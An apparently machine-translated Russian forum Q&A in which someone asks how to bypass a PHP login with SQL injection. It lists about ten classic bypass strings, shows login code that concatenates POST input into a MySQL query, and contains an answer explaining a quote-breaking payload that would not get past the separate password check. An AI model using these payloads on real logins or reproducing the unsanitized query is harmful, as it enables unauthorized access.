У меня есть php-код, который мне нужно войти, не зная имя пользователя или пароль, используя SQL-инъекцию... Я пробовал так много примеров в Интернете, и он, похоже, не работает. например,
' or '1'='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
... и многое другое!
Это код php:
$query="SELECT user_name,password,display_name from members where user_name='".$_POST['user_name']."';";
$result=mysqli_query($Connect,$query);
$row=mysqli_fetch_assoc($result);
$user_pass = md5($_POST['pass_word']);
$user_name = $row['user_name'];
$display_name = $row['display_name'];
if(strcmp($user_pass,$row['password'])!=0)
{
echo "Login failed for user ".$_POST['user_name'];
}
else
{
# Start the session
session_start();
$_SESSION['USER_NAME'] = $user_name;
$_SESSION['DISP_NAME'] = $display_name;
echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" ></head>";
}
Может кто-нибудь объяснить мне, какую инъекцию sql я могу использовать для входа?
спасибо
Игнорируйте PHP. Сосредоточьтесь на SQL:
... WHERE username='$value'
Вы должны подорвать это во что-то вроде
... WHERE username = '$value' OR truevalue
Но у вас есть что надоедливое '
после $value
там, мешая, так что
... WHERE username = '$value' OR ''=''
^---------------^--- original quotes
^^^^^^^^^^^^^^^---injected value
так
$_POST['username'] = "' or ''='"
Но обратите внимание, что это не позволит входить в систему так или иначе, поскольку вы все еще сравниваете пароли в неинжекционном режиме. Это будет просто действовать, чтобы получить ВСЕ записи пользователя в базе данных, а не только одну учетную запись пользователя.